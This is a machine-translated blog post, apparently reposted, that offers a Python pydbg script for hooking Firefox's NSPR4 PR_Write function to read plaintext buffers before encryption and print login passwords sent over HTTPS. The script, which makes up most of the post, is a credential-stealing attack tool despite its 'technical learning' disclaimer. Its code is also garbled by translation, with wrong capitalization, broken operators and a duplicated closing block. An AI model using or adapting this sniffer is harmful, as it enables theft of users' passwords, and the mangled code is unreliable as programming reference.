Python uses hook technology to hack the instance code of HTTPS

Compared to the HTTP protocol, HTTP is the feature of his security, the HTTP protocol communication content with ordinary sniffer can be captured, but the content of the HTTPS protocol sniffing is encrypted content, the use of our value is not very high, so some large sites----related to the "Rice" site, Is the use of HTTP is the protocol, hey, even so, there is a way to see his user name and password, hey, this article is just for technical learning, and we just communicate technology, hope not to do illegal things, this example is in the Firefox browser login HTTPS protocol website, We open the program in advance, we have a capture user name and password:

Here is the source code:

The code is as follows:

#!/ur/bin/env python
From pydbg Import *
From pydbg.defines Import *

Import Utils
Import Sys

DBG = pydbg ()
Found_firefox = False

pattern = "Password"


def ssl_sniff (DBG, args):
Buffer = ""
Offset = 0

While 1:
byte = Dbg.read_process_memory (Args[1] + offset, 1)
If byte! = "X00":
Buffer + = Byte
Offset + = 1
Continue
Else
Break
If pattern in buffer:
Print "pre-encrypted:%s"% buffer
Return dbg_continue
# Looking for the Firefox.exe process
For (PID, name) in Dbg.enumerate_processes ():
If name.lower () = = "Firefox.exe":
Found_firefox = True
Hooks = Utils.hook_container ()
Dbg.attach (PID)
Print "[*] attaching to firefox.exe with PID:%d"% pid
# Get the address of the Firefox hook
hook_address = Dbg.func_resolve_debuggee ("Nspr4.dll", "Pr_write")
If hook_address:
# Add the contents of the hook, including his PID, address, sniffer type

Hooks.add (DBG, hook_address, 2, Ssl_sniff, None)
Print "[*] NSPR4. Pr_write hooked at:0x%08x "% hook_address
Break
Else
Print "[*] error:couldn ' t resolve hook address."
Sys.exit (-1)
If Found_firefox:
Print "[*] Hooks set, continuing process."
Dbg.run ()
Else
Print "[*] error:couldn ' t find the firefox.exe process."
Sys.exit (-1)

If Found_firefox:
Print "[*] Hooks set, continuing process."
Dbg.run ()
Else
Print "[*] error:couldn ' t find the firefox.exe process."
Sys.exit (-1)

Transferred from: http://world77.blog.bitsCN.com/414605/518679

